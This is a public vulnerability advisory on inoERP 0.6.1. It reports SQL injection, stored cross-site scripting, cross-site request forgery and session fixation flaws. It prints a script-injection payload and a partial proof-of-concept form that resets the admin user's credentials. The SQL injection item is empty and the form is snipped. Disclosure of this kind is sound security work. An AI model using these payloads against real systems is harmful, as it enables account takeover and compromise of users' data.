inoERP - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Versions
=================
inoERP 0.6.1
Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Session Fixation
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: inoERP
Vendor URL: http://inoideas.org/ / https://github.com/inoerp/inoERP
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-01-25.txt
Advisory Status: Public
OVE-ID: OVE-20170126-0002
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Impact
======
There are multiple SQL Injection vulnerabilities, exploitable without authentication.
An attacker could use the SQL Injection to access the database in an unsafe way.
This means there is a high impact to all applications.
The inoERP software also lacks in input validation resulting in different reflected/stored XSS vulnerabilities.
Issue Description
=================
The following findings are only examples, there are quite more. The whole application should be reviewed.
All items tested using FF52.
1.) Cross Site Scripting:
Stored:

Vulnerable fields : Title, Content
Used Payload: Test<script>alert("xss")</script>
Response:
[...]
<title>Test<script>alert("xss")</script> - inoERP!</title>
[...]
The latest questions are included in the start page which means the entered payload gets executed directly in the start page.

2.) No protection against Cross Site Request Forgery Attacks:
PoC: Changing the admin user credentials.

<form action="http://<IP>/inoerp/form.php?class_name=user" method="POST">
<input type="hidden" name="headerData[0][name]" value="user_id[]" />

<input type="hidden" name="headerData[7][name]" value="phone[]" />
[..snipped...]
If a privileged user activates the request, the admin user id=1 is set to "test".
3.) SQL Injection:

4.) Session Fixation:
After a successful login the SessionID PHPSESSID remains the same:
Before Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
After Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
Temporary Workaround and Fix
============================
FOXMOLE advises to restrict the access to all vulnerable inoERP systems until all vulnerabilities are fixed.
